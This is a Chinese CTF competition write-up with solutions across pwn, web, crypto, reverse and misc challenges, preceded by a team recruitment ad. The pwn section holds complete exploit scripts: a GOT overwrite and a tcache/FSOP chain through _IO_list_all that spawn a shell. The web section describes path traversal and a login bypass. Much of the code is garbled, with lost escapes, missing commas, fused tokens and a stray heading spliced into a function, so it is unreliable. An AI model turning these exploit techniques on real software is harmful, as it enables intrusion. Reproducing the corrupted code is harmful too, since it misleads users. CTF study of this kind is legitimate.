招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)  

Pwn

heap

read_name有0x10的溢出,同时show可以输入负数,输入-1,-2就是name的地方,我们可以提前布置好一个三级指针,泄露出libc地址,剩下的0x10可以完成一次任意地址,got表可打,修改atoi为system,输入/bin/sh即可getshell

Echo $FLAG 获取flag

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
        gdb.attach(p)
        pause()
def s(a):
        p.send(a)
def sa(a,b):
        p.sendafter(a,b)
def sl(a):
        p.sendline(a)
def sla(a,b):
        p.sendlineafter(a,b)
def r(a):
        p.recv(a)
#def pr(a):
        #print(p.recv(a))
def rl(a):
        return p.recvuntil(a)
def inter():
        p.interactive()
def get_addr(size):
        return u64(p.recv(size).ljust(8,b'x00'))
def get_addr64():
        return u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
def get_addr32():
        return u32(p.recvuntil('xf7')[-4:])
def get_sb():
        return libc_base+libc.sym['system'],libc_base+libc.search(b'/bin/shx00').__next__()
def get_hook():
        return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')

    
#context(os='linux',arch='i386',log_level='debug')   
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')   

elf=ELF('./pwn')
p=remote('challenge.',31670)
#p = process('./pwn')
rl('what's you name')
sl(p64(0x602018)*4+p64(0x602060)+p64(0x0000000100000068))
heap_list=0x6020E0
def add(size):
        sla('choice:',str(1))
        sla('size:',str(size))
def show(i):
        sla('choice:',str(2))
        sla('index:',str(i))
def edit(i,content):
        sla('choice:',str(3))
        sla('index:',str(i))
        rl('content:')
        sl(content)

add(0x68)
add(0x68)
add(0x68)
show(-1)
libc_base=get_addr(6)-libc.sym['puts']
li(hex(libc_base))
system,bin_sh=get_sb()
ogg=libc_base+0xf03a4
edit(0,p64(system))
#bug()

sla('choice:',b'/bin/shx00')



inter()        

codex

漏洞在于memcpy可以利用负数绕过,通过覆盖 top chunk 的 size 字段,利用输入极大值使 top chunk 被释放至 unsorted bin,借助 show 函数泄露堆地址与 libc 地址;利用 memcpy 伪造 tcache entry 结构与堆上 io_file 结构体,将堆分配至_IO_list_all 处覆盖为伪造的 io_file 地址,最终通过 exit 触发执行伪造的 vtable 函数,调用 system (‘/bin/sh’) 获取 shell。

Echo $FLAG 获取flag

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64

def bug():
    gdb.attach(p)
    pause()

def s(a):
    p.send(a)

def sa(a,b):
    p.sendafter(a,b)

def sl(a):
    p.sendline(a)

def sla(a,b):
    p.sendlineafter(a,b)

def r(a):
    p.recv(a)

#def pr(a):
    #print(p.recv(a))

def rl(a):
    return p.recvuntil(a)

def inter():
    p.interactive()

def get_addr(size):
    return u64(p.recv(size).ljust(8,b'x00'))

def get_addr64():
    return u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))

def get_addr32():
    return u32(p.recvuntil('xf7')[-4:])

def get_sb():
    return libc_base+libc.sym['system'],libc_base+libc.search(b'/bin/shx00').__next__()

def get_hook():
    return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']

li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')

def menu(choice):
    sla(b'choice >', str(choice).encode())


def create_item(index, size, content):
    menu(1)
    sla(b'slot [0-15]:', str(index))
    sla(b'size [1-336]:', str(size))
    sla(b'forbidden:', content)

def display_item(index):
    menu(3)
    sla(b'index [0-15]:', str(index))

def copy_item(dst, src, length):
    menu(2)
    sla(b'Target monolith:', str(dst))
    sla(b'Source monolith:', str(src))
    sla(b' mirror:', str(length))

context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6')   
elf=ELF('./pwn')
p = process('./pwn')
#p=remote('challenge.',30670)
create_item(0,0x100,(b'a'*0x78+p64(0xbe0)).ljust(0xcc,b'b').ljust(0x100b'x00'))
create_item(1,0x77,b'1')
copy_item(1,0,-0x100)

menu('0'*0x1000)
create_item(2,0x10,b'a'*7)
display_item(2)
libc_base = get_addr64() - 2208208
li(hex(libc_base))

create_item(3,0x10,b'a'*0xf)
copy_item(2,3,0x10)
display_item(2)
rl(b'an')
heap_base = u64(p.recv(6).ljust(8,b'x00')) - 0x420
li(hex(heap_base))

arr = [0]*0x40
arr[0]= 1
res = b''
for x in range(0x40):
    res+=p16(arr[x])
pay = res + p64(libc_base+libc.sym['_IO_list_all'])

create_item(4,0x150,pay)
create_item(5,0x120,b'b'*0xef)
create_item(6,0x10,b'1')
copy_item(0,6,-0x208)

fake_io_addr = heap_base + 0x720
li(f'fake io address: {hex(fake_io_addr)}')
system = libc_base + libc.sym['system']
IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] + libc_base
A = fake_io_addr+0x40
B = fake_io_addr+0xe8+0x40-0x68

fake_IO = b'  sh'
fake_IO = fake_IO.ljust(0x28,b'x00')
fake_IO += p64(1)
fake_IO = fake_IO.ljust(0x88,b'x00')
fake_IO += p64(fake_io_addr)
fake_IO = fake_IO.ljust(0xa0,b'x00')
fake_IO += p64(A)
fake_IO = fake_IO.ljust(0xd8,b'x00')
fake_IO += p64(IO_wfile_jumps)
fake_IO += p64(0)+p64(0)+b'x00'*0x30
fake_IO += p64(B)
fake_IO += p64(system)

create_item(7,0x150,fake_IO)
create_item(8,0x10,p64(fake_io_addr))
menu(4)

inter()            

Web

CatBank


注册两账号,转账,一个账号是一百万就行

CatNet

http://localhost/admin

ezblog

看jar包发现没有有用的信息,唯一有用的就是有个backdoor的路由:

@Mapping('/backdoor')
    public String backdoor(@Param('key'String key) {
        if ('********'.equals(key)) {
            String flag = System.getenv('FLAG');
            return 'flag is ' + flag;
        } else {
            return 'you are god';
        }
    }

其中这个密钥是不知道的,但是App.class里面有个assets/路由会重定向到/app/assets,并且没有过滤。

开环境进行测试:

发现有一个可查看路由。

发现可以正常读取,然后看看能不能目录穿越:

发现加个 .可以看到当前目录文件。那么返回上级目录看/app里面的内容。

发现可以文件读取,直接去题目容器里面访问,自动下载了:

服务端的key是正常显示的,带去backdoor路由,获得flag:

猫猫的秘密

查看原发,发现源码中存在/get_secret路由里面存在flag,但是获得flag需要验证身份信息,只需要把username改成admin就可以,最后抓包修改得到flag

IMG_256

Crypto

星际广播站

登陆页面看js有任意附件下载,下载后看app.py源码,用户初始密码的生成的种子是固定的,直接可以跑出来密码

username = '10'
random.seed(username)
characters = string.ascii_letters + string.digits
password = ''.join(random.choices(characters, k=6))
print(password)

用户名10 密码XNgfid

登陆后能看到e是113

源码里还有users.db里面有明文m

接下来批量登录去拿113组密文c,进行crt的广播攻击就行

import sqlite3
from bs4 import BeautifulSoup
import requests
import random
import string
from tqdm import trange
from Crypto.Util.number import *
from gmpy2 import iroot
def crt (n_list ,c_list):
    N = 1
    for i in n_list:
        N *= i
    sum = 0
    for i in range(len(n_list)) :
        m = N // n_list[i]
        sum += m * c_list[i] * inverse(m,n_list[i])
        sum %= N
    return sum%N

E = 113
db_path = 'users.db'
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
query = f'SELECT n FROM users'
cursor.execute(query)
res = cursor.fetchall()
conn.close()
n = [int(row[0]) for row in res][:E]
c = []
url = 'http://challenge.:32011/login'
for i in trange(1, E+1):
     username = str(i)
     random.seed(username)
     characters = string.ascii_letters + string.digits
     password = ''.join(random.choices(characters, k=6))
     payload = {
     'username': username,
     'password_hash': password
     }
     response = requests.post(url, data=payload)
     soup = BeautifulSoup(response.text, 'html.parser')
     c_value_span = soup.find('span', class_='data-value')
     c.append(int(c_value_span.text.strip()))

m = iroot(crt(n,c),E)[0]
print(long_to_bytes(m))

100%|██████████| 113/113 [00:29<00:00, 3.80it/s]

b’palu{ad1a70f525014edead8cb886fc07698a}’

欧几里得

from Crypto.Util.number import *
c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861
for i in range(256):
    for j in range(256):
        n = bytes_to_long(long_to_bytes(i * 256 + j) * 35)
        flag = long_to_bytes(abs(c - n))
        if b'palu' in flag:
            print(flag)

易如反掌


N =  []
E = []
a = [[0] * 5for _ in range(5)]
M = N[0]
a[0][0] = M
for i, e in enumerate(E):
    a[0][i+1] = e

for i, n in enumerate(N):
    a[i+1][i+1] = -(n**2)

Mat = matrix(ZZ, a)
Mat_LLL = Mat.LLL()
d = abs(Mat_LLL[0][0]) // M
print(d)
flag = 'paluctf{' + hashlib.md5(str(d)[].encode()).hexdigest() + '}'
print(flag)
# palu{b1fc01a38bae760451bcffe777e51b1d}

文件查看器

BLOCK_SIZE = 16

def pkcs7_pad(data, block_size):
    padding_len = block_size - (len(data) % block_size)
    padding = bytes([padding_len] * padding_len)
    return data + padding


def xor_bytes(b1, b2):
    return bytes(x ^ y for x, y in zip(b1, b2))


auth_token = '27c86bd43b61039f68c4b9bb7db683b507ee33a496094625e47ce7af4c5f26da'
A = auth_token[:32]
C_old = pkcs7_pad(':guest'.encode(), BLOCK_SIZE)
B = xor_bytes(bytes.fromhex(A), C_old)
C_new = pkcs7_pad(':admin'.encode(), BLOCK_SIZE)
new_token = xor_bytes(B, C_new).hex() + auth_token[32:]
print(new_token) 

cbc翻转得到admin的auth_token 发包读取就行

RSA_Quartic_Quandary

import math
from gmpy2 import iroot
def recover_primes(s, m):
    # 1. 计算 p^2+q^2 = T
    A = s + 2*m*m
    T = iroot(A,2 )[0]
    # 2. 计算 p+q = S
    B = T + 2*m
    S = iroot(B,2 )[0]
    # 3. 计算 |p-q| = D
    D2 = S*S - 4*m
    D = iroot(D2,2 )[0]
    # 4. 恢复 p, q
    p = (S + D) // 2
    q = (S - D) // 2
    return p, q

from Crypto.Util.number import *

s = 35935569267272146368441512592153486419244649035623643902985220815940198358146024590300394059909370115858091217597774010493938674472746828352595432824315405933241792789402041405932624651226442192749572918686958461029988244396875361295785103356745756304497466567342796329331150560777052588294638069488836419744297241409127729615544668547101580333420563318486256358906310909703237944327684178950282413703357020770127158209107658407007489563388980582632159120621869165333921661377997970334407786581024278698231418756106787058054355713472306409772260619117725561889350862414726861327985706773512963177174611689685575805282
n = 125997816345753096048865891139073286898143461169514858050232837657906289840897974068391106608902082960171083817785532702158298589600947834699494234633846206712414663927142998976208173208829799860130354978308649020815886262453865196867390105038666506017720712272359417586671917060323891124382072599746305448903
e = 65537
c = 16076213508704830809521504161524867240789661063230251272973700316524961511842110066547743812160813341691286895800830395413052502516451815705610447484880112548934311914559776633140762863945819054432492392315491109745915225117227073045171062365772401296382778452901831550773993089344837645958797206220200272941

p, q = recover_primes(s, n)
phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))

循环锁链

题目描述每个字节通过循环加密,找到起点后才能解开,且提示flag以palu{开头

将flag.enc改为.txt文件读取

c = list(open('flag.txt', 'rb').read())
print(c)#[17, 13, 25, 14, 18, 42, 116, 66, 49, 43, 37, 0, 7, 12, 22, 57, 39, 33, 3, 0, 40, 13, 39, 32, 38, 44, 25, 0, 12, 59, 4, 57, 34, 25, 82, 68, 13]

测试时发现 ord(‘p’) ^ 17 = ord(‘a’), ord(‘a’) ^ 13 = ord(‘l’),依次循环异或可以得到下一个字符,c是文件字符的十进制,最后编写脚本,逐字节异或解密即可。

c = list(open('flag.txt''rb').read())
print(c)#[17, 13, 25, 14, 18, 42, 116, 66, 49, 43, 37, 0, 7, 12, 22, 57, 39, 33, 3, 0, 40, 13, 39, 32, 38, 44, 25, 0, 12, 59, 4, 57, 34, 25, 82, 68, 13]
print(len(c))#37
f_bits = [ord('p')]
for i in range(37):
    f_bits.append(f_bits[-1]^c[i])

print(bytes(f_bits))

轮回密码

直接对着加密写解密就行

import base64  

def rotate_right(byte, step):  
    return ((byte >> step) | ((byte << (8 - step)) & 0xFF)) & 0xFF  


def rotate_left(byte, step):  
    return ((byte << step) | (byte >> (8 - step))) & 0xFF  


def samsara_decrypt(cipher, key_word):  
    cycle_step = len(key_word) % 6 + 1  

    phase3 = bytes([cipher[i] ^ key_word[i % len(key_word)] for i in range(len(cipher))])  

    phase2 = bytes([rotate_left(c, cycle_step) for c in phase3])  

    phase1 = base64.b85decode(phase2)  

    original = bytes([rotate_left(c, cycle_step) for c in phase1])  
    return original  


if __name__ == '__main__':  
    cipher_str = 'y¦_›6>X¬y–!,!n¡mSaÜñüë—9¼6™'   
key = b'Bore'  
    cipher_bytes = cipher_str.encode('latin-1')  
    plain = samsara_decrypt(cipher_bytes, key)  
    print(plain.decode())
#palu{reincarnation_cipher}

Reverse

PositionalXOR

附件里就一个bin文件,010editor打开,数据提出来直接写脚本解密

enc = 'qcoq~Vh{e~bccocH^@Lgt{gt|g'
enc_list = list(enc)
for i in range(len(enc_list)):
    print(chr(ord(enc_list[i]) ^ (i + 1)), end='')
#palu{PosltionalXOR_sample}

PaluArray

UPX壳,并且好像有的标志位被删了,直接x64dbg手动脱壳,然后ida分析,根据提示字符串定位到程序的主要逻辑

// Hidden C++ exception states: #wind=2
struct CWnd *__fastcall sub_7FF61DC51DD8(CDialog *a1)
{
struct CWnd *result;// rax
struct CWnd *v3;// rdi
  _QWORD *v4; // rax
void **v5; // rax
  __int64 v6; // rax
void *v7; // rcx
  _BYTE v8[8]; // [rsp+20h] [rbp-E0h] BYREF
  _BYTE v9[40]; // [rsp+28h] [rbp-D8h] BYREF
void *Block; // [rsp+50h] [rbp-B0h] BYREF
char v11; // [rsp+58h] [rbp-A8h] BYREF
  __int64 v12; // [rsp+E0h] [rbp-20h] BYREF
  _BYTE v13[8]; // [rsp+E8h] [rbp-18h] BYREF
void *v14[3]; // [rsp+F0h] [rbp-10h] BYREF
unsigned __int64 n0xF; // [rsp+108h] [rbp+8h]

  CDialog::OnOK(a1);
  result = CWnd::GetDlgItem(a1, 1000);
  v3 = result;
if ( result )
  {
    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v12);
    CWnd::GetWindowTextW(v3, &v12);
    v4 = ATL::CSimpleStringT<wchar_t,1>::CSimpleStringT<wchar_t,1>(v8, &v12);
    sub_7FF61DC51994(v13, v4);
    if ( ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Compare(v13, a1145141919810) )// '1145141919810'
    {
      CWnd::MessageBoxW(a1, aFailed, 00);     // 'Failed'
    }
    else
    {
      CWnd::MessageBoxW(a1, aSuccess, 00);    // 'Success'
      v5 = sub_7FF61DC51F6C(&Block, v12);
      sub_7FF61DC52118(v14, *v5);
      if ( Block != &v11 )
        free(Block);
      v6 = sub_7FF61DC52244(v9, v14);
      sub_7FF61DC51A48(v6);
      if ( n0xF > 0xF )
      {
        v7 = v14[0];
        if ( n0xF + 1 >= 0x1000 )
        {
          v7 = *(v14[0] - 1);
          if ( (v14[0] - v7 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
        }
        operatordelete[](v7);
      }
    }
    ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(v13);
    return ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(&v12);
  }
return result;
}

这里就是处理输入密文的函数,sub_7FF61DC51994函数对字符串的每个字符进行查找,在一个确定的table中

然后再看sub_7FF61DC51A48函数,有MD5,但好像是生成flag的逻辑,那么应该就是将上面解密出来的字符串输入进去,就会输出flag

解密脚本

table = 'Palu_996!?'
index = list('1145141919810')
for i in range(13):
    print(table[ord(index[i]) - ord('0')], end='')

得到:aa_9a_a?a?!aP

然后运行程序输入

PaluGOGOGO

go语言,ida打开分析

主要加密逻辑

红色部分是密文,绿色部分获取的value会传入到main_complexEncrypt参与flag的加密

加密逻辑如图,value就是在外面传进来的值,n10_4是index

解密脚本

enc = [0xbf,0xb1,0xbd,0xc7,0xce,0x96,0x80,0x98,0x82,0x9a,0x7f,0xaf,0xc1,0xb3,0xbf,0xc4,0xcd]
for i in range(len(enc)):
    print(chr(enc[i] - 0x4f - (i % 5)), end='')
#palu{G0G0G0_palu}

PaluFlat

ida打开附件 发现密文

加密算法是sub_401550 跟进一下

主要逻辑就是 根据奇数偶数选择对应的密钥 输入跟密钥循环异或 半字节交换 减0x55 取反

直接对着写逆向脚本即可

key1 = b'flat'  
key2 = b'palu'
enc = [0x540x840x540x440xA40xB20x840x540x620x32,  
       0x8F0x540x620xB20x540x030x140x800x43]  
flag = []  
for i, c in enumerate(enc):  
    byte = ~c & 0xFF
    byte = (byte + 85) % 256
    byte = ((byte << 4) | (byte >> 4)) & 0xFF
    if i % 2 == 0:  
        key = key2  
    else:  
        key = key1  
    k = key[i % len(key)]  
    flag.append(byte ^ k)  
print(bytes(flag))
#b'palu{Fat_N0t_Flat!}'

Asymmetric

ida打开附件 发现65537 第一时间想到RSA

密文在下边

yafu分解一下n

直接写脚本解rsa

import libnum  
from Crypto.Util.number import inverse  
import gmpy2  
from Crypto.Util.number import long_to_bytes  
p = 3
q = 47
r = 2287
s = 3101092514893
m = 100000000000000003
n = 100000000000000106100000000000003093
phi = (p - 1) * (q - 1) * (r - 1) * (s - 1) * (m - 1)  
e = 65537
d = inverse(e, phi)  

c = 94846032130173601911230363560972235

m = pow(c, d, n)  
print(long_to_bytes(m))
#b'palu{3a5Y_R$A}'

CatchPalu

ida打开附件 常规花 nop掉 进入main函数 有个hook函数 跟进

密文密钥如下

跟进下面的函数 发现是个魔改的RC4

写脚本解密即可

def KSA(key):  
    S = list(range(256))  
第二届“Parloo 杯”-CTF应急响应挑战赛 writeup by Mini-Venom
    v5 = 0
    for _ in range(3):    
for k in range(256):  
            v5 = (key[k % len(key)] + v5 + S[k]) % 233
            S[k], S[v5] = S[v5], S[k]  
    return S  

def PRGA(S):
    i, j = 00
    whileTrue:  
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  
        K = S[(S[i] + S[j]) % 256]  
        yield K  

def RC4(key, ciphertext):
    cipher_bytes = bytes(ciphertext)  
    S = KSA(key)  
    keystream = PRGA(S)  
    return bytes([c ^ next(keystream) for c in cipher_bytes])  

key = b'forpalu'
enc = [1317619110141472561112517415325199,  
            11024779203144788514220916192]  

flag = RC4(key, enc)  
print(flag.decode())
#palu{G00d_P1au_Kn0w_H00K}

帕鲁迷宫

无语题 python的exe 3.11 解包反编译发现往下走才会给出完整地图 还有出口 直接手动走一下 得到

那么地图如下

################################  
#Y#                   #       X#  
# # ############# ### # ### ## #  
# #   #         # #   #   #   ##  
# ##### ####### ### # ### ### ##  
#   #   #     # #   #   # #   ##  
### # ### ##### # ####### # ####  
# #   # #     # #     #   #   ##  
# ##### # ### # # ### # ##### ##  
#         #   # #   #       # ##  
# ######### # # ############# ##  
#   # #     # #   #           ##  
### # # ######### # ######### ##  
# # # #           # #       # ##  
# # # ############# # ##### # ##  
#   #       #       # #   #   ##  
#X ## ### ### # ##### # ########  
#   #   #     #   # # #   #   ##  
### ### ######### # # # # # # ##  
# # #   #   #   # # # # # # # ##  
# # ### # # # # # # # ### # # ##  
# #   # # #   #   #   #   # # ##  
# ### ### ########### # # # # ##  
#   #   #           # # # # # ##  
# ##### # ######### # # ### # ##  
#   #   #   #       # # #   # ##  
### # ####### ####### # # ### ##  
#   #   #   # #     # #   #   ##  
# ##### # # # # ##### ##### # ##  
#         #   #             #  #  
#X ############ X ########### X#  
################################

搓个bfs跑一下最短路径

from collections import deque  

def parse_map(map_str):  
    map_data = map_str.strip().split('n')  
    rows = len(map_data)  
    cols = len(map_data[0]) if rows > 0 else 0  
    start = None  
    exits = []  
    for y in range(rows):  
        for x in range(cols):  
            if map_data[y][x] == 'Y':  
                start = (y, x)  
            elif map_data[y][x] == 'X':  
                exits.append((y, x))  
    return map_data, start, exits  


def bfs(start, targets, map_data):  
    rows = len(map_data)  
    cols = len(map_data[0])  
    visited = {}  
    queue = deque([(start[0], start[1])])  
    visited[(start[0], start[1])] = (None, None, 0)  
    directions = [(-1, 0, 'w'), (1, 0, 's'), (0, -1, 'a'), (0, 1, 'd')]  
    found_targets = []  

    while queue:  
        y, x = queue.popleft()  
        current_dist = visited[(y, x)][2]  

        if (y, x) in targets:  
            found_targets.append((y, x, current_dist))  

        for dy, dx, move in directions:  
            ny, nx = y + dy, x + dx  
            if 0 <= ny < rows and 0 <= nx < cols:  
                if map_data[ny][nx] != '#' and (ny, nx) not in visited:  
                    visited[(ny, nx)] = (y, x, current_dist + 1)  
                    queue.append((ny, nx))  

    if not found_targets:  
        return None, None  
    target = min(found_targets, key=lambda x: x[2])  
    path = []  
    current = (target[0], target[1])  
    while True:  
        prev_info = visited.get(current)  
        if prev_info is None or prev_info[0] is None:  
            break  
        py, px = prev_info[0], prev_info[1]  
        dy = current[0] - py  
        dx = current[1] - px  
        if dy == 1:  
            move = 's'  
        elif dy == -1:  
            move = 'w'  
        elif dx == 1:  
            move = 'd'  
        else:  
            move = 'a'  
        path.append(move)  
        current = (py, px)  
    path.reverse()  
    return ''.join(path), (target[0], target[1])  


def find_shortest_path(map_str):  
    map_data, start, exits = parse_map(map_str)  
    current_pos = start  
    remaining_exits = set(exits)  
    total_path = []  
    path_details = []  # 存储每个阶段的路径详情  

    while remaining_exits:  
        path, exit_pos = bfs(current_pos, remaining_exits, map_data)  
        if not path:  
            break  
        total_path.append(path)  

        path_details.append({  
            'from': current_pos,  
            'to': exit_pos,  
            'path': path,  
            'length': len(path)  
        })        current_pos = exit_pos  
        remaining_exits.remove(exit_pos)  

    # 打印每个阶段的路径  
    for i, segment in enumerate(path_details):  
        print(f'阶段 {i + 1}: 从 {segment['from']} 到 {segment['to']}')  
        print(f'路径: {segment['path']}')  
        print(f'长度: {segment['length']}n')  

    full_path = ''.join(total_path)  
    return full_path  


map_str = '''  
################################  
#Y#                   #       X#  
# # ############# ### # ### ## #  
# #   #         # #   #   #   ##  
# ##### ####### ### # ### ### ##  
#   #   #     # #   #   # #   ##  
### # ### ##### # ####### # ####  
# #   # #     # #     #   #   ##  
# ##### # ### # # ### # ##### ##  
#         #   # #   #       # ##  
# ######### # # ############# ##  
#   # #     # #   #           ##  
### # # ######### # ######### ##  
# # # #           # #       # ##  
# # # ############# # ##### # ##  
#   #       #       # #   #   ##  
#X ## ### ### # ##### # ########  
#   #   #     #   # # #   #   ##  
### ### ######### # # # # # # ##  
# # #   #   #   # # # # # # # ##  
# # ### # # # # # # # ### # # ##  
# #   # # #   #   #   #   # # ##  
# ### ### ########### # # # # ##  
#   #   #           # # # # # ##  
# ##### # ######### # # ### # ##  
#   #   #   #       # # #   # ##  
### # ####### ####### # # ### ##  
#   #   #   # #     # #   #   ##  
# ##### # # # # ##### ##### # ##  
#         #   #             #  #  
#X ############ X ########### X#  
################################  
'''  

path = find_shortest_path(map_str)  
print(f'完整路径: {path}')  
print(f'总长度: {len(path)}')  
print(f'最后四步: {path[-4:] if len(path) >= 4 else path}')

跑出来不对 猜测有多解 经过手扣发现有的地方路径不唯一 具体如下

ssssddssddwwddwwddddddddssssssssddssaaaaaaaaaawwddddwwddwwaaaassaaaaaaaassddssssa(as,sa)(sd,ds)dssssddssddssaassddssaaaaa(as,sa)(wd,dw)dddddddwwddssddwwwwddddddwwaaaaaaaaaawwwwddssddwwddssddwwwwaawwddddwwwwddddddddddwwwwaawwddwwaawwdddaaassddssaassddssssssssaawwaaaaaassssssssssssssssaaaa(as,sa)(wd,dw)ddddddddddwwddss(ds,sd)

直接写脚本算一下符合条件的每一个的md5 提交即可(从后往前第一个就是)

import re  
import hashlib  
from itertools import product  

path_str = (  
'ssssddssddwwddwwddddddddssssssssddssaaaaaaaaaawwddddwwddwwaaaassaaaaaaaassddssssa(as,sa)(sd,ds)dssssddssddssaassddssaaaaa(as,sa)(wd,dw)dddddddwwddssddwwwwddddddwwaaaaaaaaaawwwwddssddwwddssddwwwwaawwddddwwwwddddddddddwwwwaawwddwwaawwdddaaassddssaassddssssssssaawwaaaaaassssssssssssssssaaaa(as,sa)(wd,dw)ddddddddddwwddss(ds,sd)'  
)  

pattern = re.compile(r'(([^()]+))')  
segments = []  
last_index = 0  

for match in pattern.finditer(path_str):  
    segments.append([path_str[last_index:match.start()]])  
    options = match.group(1).split(',')  
    segments.append(options)  
    last_index = match.end()  

segments.append([path_str[last_index:]])  

combinations = [''.join(p) for p in product(*segments)]  

result = []  
for path in combinations:  
    if path.endswith('ssds'):  
        md5_hash = hashlib.md5(path.encode()).hexdigest()  
        result.append((path, f'palu{{{md5_hash}}}'))  

for path, md5 in result:  
    print(f'{md5}:n{path}n')  

print(f'共匹配路径数量: {len(result)}')

路径为:ssssddssddwwddwwddddddddssssssssddssaaaaaaaaaawwddddwwddwwaaaassaaaaaaaassddssssasadsdssssddssddssaassddssaaaaasadwdddddddwwddssddwwwwddddddwwaaaaaaaaaawwwwddssddwwddssddwwwwaawwddddwwwwddddddddddwwwwaawwddwwaawwdddaaassddssaassddssssssssaawwaaaaaassssssssssssssssaaaasadwddddddddddwwddssds

flag:palu{990fd7773f450f1f13bf08a367fe95ea}

Checker

安卓 主要逻辑在so 扔ida里

跟进一下encrypto函数

加密主要是一个cbc模式的xtea 跟进一下初始化key的函数

主要是对key跟iv进行一个rc4的加密 rc4的key是DoNotHackMe

先解一下key跟iv

def KSA(key):  
    S = list(range(256))  
    v5 = 0
    for k in range(256):  
        v5 = (key[k % len(key)] + v5 + S[k]) % 256
        S[k], S[v5] = S[v5], S[k]  
    return S  


def PRGA(S):
    i, j = 00
    whileTrue:  
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  
        K = S[(S[i] + S[j]) % 256]  
        yield K  


def RC4(key, ciphertext):
    cipher_bytes = bytes(ciphertext)  
    S = KSA(key)  
    keystream = PRGA(S)  
    return bytes([c ^ next(keystream) for c in cipher_bytes])  


key = b'DoNotHackMe'
key_enc = [0x990xDD0x560xFF0x6D0xD90x550x540x420x4D,  
0x790x1A0x340xB70x810x2F]  
iv_enc = [  0x870xC10x560xC00x4C0xF40x630x4F]  
key_xtea = RC4(key, key_enc)  
iv = RC4(key, iv_enc)  
print(' '.join(hex(x) for x in key_xtea))  
print(' '.join(hex(y) for y in iv))

得到key:52756e74696d65537472696e67457874

iv:4c696e4b48405348

在解密cbc-xtea即可

import struct  


def xtea_decrypt_block(cipher_block, key):
    v5, v4 = struct.unpack('<2I', cipher_block)  
    key = struct.unpack('<4I', key)  

    sum_values = []  
    current_sum = 0
    for i in range(32):  
        sum_values.append(current_sum)  
        key_idx = i % 4
        current_sum += (key[key_idx] ^ i) - 0x61C88647

    for i in reversed(range(32)):  
        sum_after = sum_values[i + 1if i < 31else current_sum  

        key_idx = (sum_after >> 11) & 3
        key_val = key[key_idx]  
        v4 -= (((v5 << 4) ^ (v5 >> 5)) + v5) ^ (sum_after + key_val)  
        v4 &= 0xFFFFFFFF

        sum_before = sum_values[i]  
        key_idx = sum_before & 3
        key_val = key[key_idx]  
        v5 -= (((v4 << 4) ^ (v4 >> 5)) + v4) ^ (sum_before + key_val)  
        v5 &= 0xFFFFFFFF

    return struct.pack('<2I', v5, v4)  


def cbc_decrypt(ciphertext, key, iv):
    blocks = [ciphertext[i:i + 8for i in range(0, len(ciphertext), 8)]  
    prev_cipher = iv  
    plaintext = bytearray()  

    for block in blocks:  
        decrypted = xtea_decrypt_block(block, key)  

        plain_block = bytes([d ^ p for d, p in zip(decrypted, prev_cipher)])  
        plaintext.extend(plain_block)  

        prev_cipher = block  

    return bytes(plaintext)  

if __name__ == '__main__':  
    encrypted_data = bytes.fromhex('A90B5C1CA34188CA66D9771D78038E7ABA7BD490CD500783414A829C791DCC6F9D2F392DA2DA831B')  
    secret_key = bytes.fromhex('52756e74696d65537472696e67457874')  
    initialization_vector = bytes.fromhex('4c696e4b48405348')  

    try:  
        decrypted = cbc_decrypt(encrypted_data, secret_key, initialization_vector)  
        print(f'解密结果(HEX): {decrypted.hex()}')  
        print(f'ASCII表示: {decrypted.decode('utf-8', errors='replace')}')  
    except Exception as e:  
        print(f'解密失败: {str(e)}')
#palu{thiS_T1Me_it_seeM5_tO_8e_ReAl_te@}

Misc

几何闪烁的秘密

下载的gif直接扔随波逐流分离一下 得到100张图片

按照图形形状 将每一个图形对应的字母提取出来 如下

cGFsXttcFsdXtcGFdXtt
YXN0XJfYN0ZXfYXNZXJf
b2Zf2VvbZfZ2vb2ZZ2Vv
bWV0nI9bV0cn9bWVcnI9

解码一下解不开 但是编码一下palu{结果为

跟第一个很像 于是修改一下 第五位加一个字母d 得到

根据题目名的英文修改一下 得到flag

palu{master_of_geometry}

时间折叠(TimeFold Paradox)

打开log 提取后面的十六进制 xor一个值得到flag

bytes_data = [  
    0xfe0xef0xe20xfb0xf50xda0xe60xe70xfd0xd1,  
    0xe70xfd0xd10xcf0xd10xdd0xef0xe30xfe0xe2,  
    0xeb0xd10xc80xe20xef0xe90xd10xcd0xe60xef,  
    0xe00xe90xeb0xd10xc30xeb0xaf0xaf0xf3  
]  
print(bytes_data[0] ^ ord('p'))  
print(bytes_data[1] ^ ord('a'))  
print(bytes_data[2] ^ ord('l'))  
print(bytes_data[3] ^ ord('u'))  
